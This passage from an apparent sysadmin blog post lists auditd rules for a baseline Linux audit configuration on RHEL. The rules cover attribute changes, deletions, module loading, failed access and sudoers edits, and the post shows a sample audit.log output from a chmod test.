lremovexattr -a always,exit -F arch=b32 -S lremovexattr -F auid>=500 -F auid!=4294967295 -k perm_mod -a always,exit -F arch=b32 -S lremovexattr -F auid=0 -k perm_mod -a always,exit -F arch=b64 -S lremovexattr -F auid>=500 -F auid!=4294967295 -k perm_mod -a always,exit -F arch=b64 -S lremovexattr -F auid=0 -k perm_mod
lsetxattr -a always,exit -F arch=b32 -S lsetxattr -F auid>=500 -F auid!=4294967295 -k perm_mod -a always,exit -F arch=b32 -S lsetxattr -F auid=0 -k perm_mod -a always,exit -F arch=b64 -S lsetxattr -F auid>=500 -F auid!=4294967295 -k perm_mod -a always,exit -F arch=b64 -S lsetxattr -F auid=0 -k perm_mod
removexattr -a always,exit -F arch=b32 -S removexattr -F auid>=500 -F auid!=4294967295 -k perm_mod -a always,exit -F arch=b32 -S removexattr -F auid=0 -k perm_mod -a always,exit -F arch=b64 -S removexattr -F auid>=500 -F auid!=4294967295 -k perm_mod -a always,exit -F arch=b64 -S removexattr -F auid=0 -k perm_mod
setxattr -a always,exit -F arch=b32 -S setxattr -F auid>=500 -F auid!=4294967295 -k perm_mod -a always,exit -F arch=b32 -S setxattr -F auid=0 -k perm_mod -a always,exit -F arch=b64 -S setxattr -F auid>=500 -F auid!=4294967295 -k perm_mod -a always,exit -F arch=b64 -S setxattr -F auid=0 -k perm_mod
mount -a always,exit -F arch=b32 -S mount -F auid>=500 -F auid!=4294967295 -k export -a always,exit -F arch=b32-S mount -F auid=0 -k export -a always,exit -F arch=b64 -S mount -F auid>=500 -F auid!=4294967295 -k export -a always,exit -F arch=b64 -S mount -F auid=0 -k export
unlink -a always,exit -F arch=b32 -S rmdir -S unlink -S unlinkat -S rename -S renameat -F auid>=500 -F auid!=4294967295 -k delete -a always,exit -F arch=b32 -S rmdir -S unlink -S unlinkat -S rename -S renameat -F auid=0 -k delete -a always,exit -F arch=b64 -S rmdir -S unlink -S unlinkat -S rename -S renameat -F auid>=500 -F auid!=4294967295 -k delete -a always,exit -F arch=b64 -S rmdir -S unlink -S unlinkat -S rename -S renameat -F auid=0 -k delete
lnsmod -w /sbin/insmod -p x -k modules -w /sbin/rmmod -p x -k modules -w /sbin/modprobe -p x -k modules -a always,exit -F arch=b32 -S init_module -S delete_module -k modules -a always,exit -F arch=b64 -S init_module -S delete_module -k modules
6
Unauthorized File Access Attempt open -a always,exit -F arch=b32 -S creat -S open -S openat -S truncate -S ftruncate -F exit=-EACCES -F auid>=500 -F auid!=4294967295 -k access -a always,exit -F arch=b32 -S creat -S open -S openat -S truncate -S ftruncate -F exit=-EPERM -F auid>=500 -F auid!=4294967295 -k access -a always,exit -F arch=b32 -S creat -S open -S openat -S truncate -S ftruncate -F exit=-EACCES -F auid=0 -k access -a always,exit -F arch=b32 -S creat -S open -S openat -S truncate -S ftruncate -F exit=-EPERM -F auid=0 -k access -a always,exit -F arch=b64 -S creat -S open -S openat -S truncate -S ftruncate -F exit=-EACCES -F auid>=500 -F auid!=4294967295 -k access -a always,exit -F arch=b64 -S creat -S open -S openat -S truncate -S ftruncate -F exit=-EPERM -F auid>=500 -F auid!=4294967295 -k access -a always,exit -F arch=b64 -S creat -S open -S openat -S truncate -S ftruncate -F exit=-EACCES -F auid=0 -k access -a always,exit -F arch=b64 -S creat -S open -S openat -S truncate -S ftruncate -F exit=-EPERM -F auid=0 -k access
7
Sudoers Sudoers -w /etc/sudoers -p wa -k actions
8
All privileged Commands Priv commands To audit use of all privileged commands run:       # find PART -xdev \( -perm -4000 -o -perm -2000 \) -type f | awk '{print \ "-a always,exit -F path=" $1 " -F perm=x -F auid>=1000 -F auid!=4294967295 \ -k privileged" }' Next, add those lines to the /etc/audit/audit.rules file.
Now when commands are run /var/log/audit/audit.log. Running the command chmod produces the following output:
[epicism@rhel audit]# chmod 777 test
[epicism@rhel audit]# tail-f /var/log/audit/audit.log
type=SYSCALL msg=audit(1469583828.606:21849): arch=c000003e syscall=268 success=yes exit=0 a0=ffffffffffffff9c a1=bd00f0 a2=1ff a3=7fff145eaaf0 items=1 ppid=6170 pid=13606 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=1 comm="chmod" exe="/usr/bin/chmod" subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key="perm_mod"
type=CWD msg=audit(1469583828.606:21849):  cwd="/var/log/audit"
type=PATH msg=audit(1469583828.606:21849): item=0 name="test" inode=67225482 dev=fd:00 mode=0100777 ouid=0 ogid=0 rdev=00:00 obj=unconfined_u:object_r:auditd_log_t:s0 objtype=NORMAL
No common SIEM can parse this, but Splunk could probably parse it out pretty easily. In the least I would recommend backing up the audit.log files to a repository for audit purposes. In any case, I hope that the post helps to set a baseline audit configuration file on RHEL.

Update: Our friend Dixie Flatline was kind enough to share the Audisp plugin which converts Linux audit events to CEF (ArcSight's Comment Event Format standard) which can be interpreted by ArcSight directly without a parser.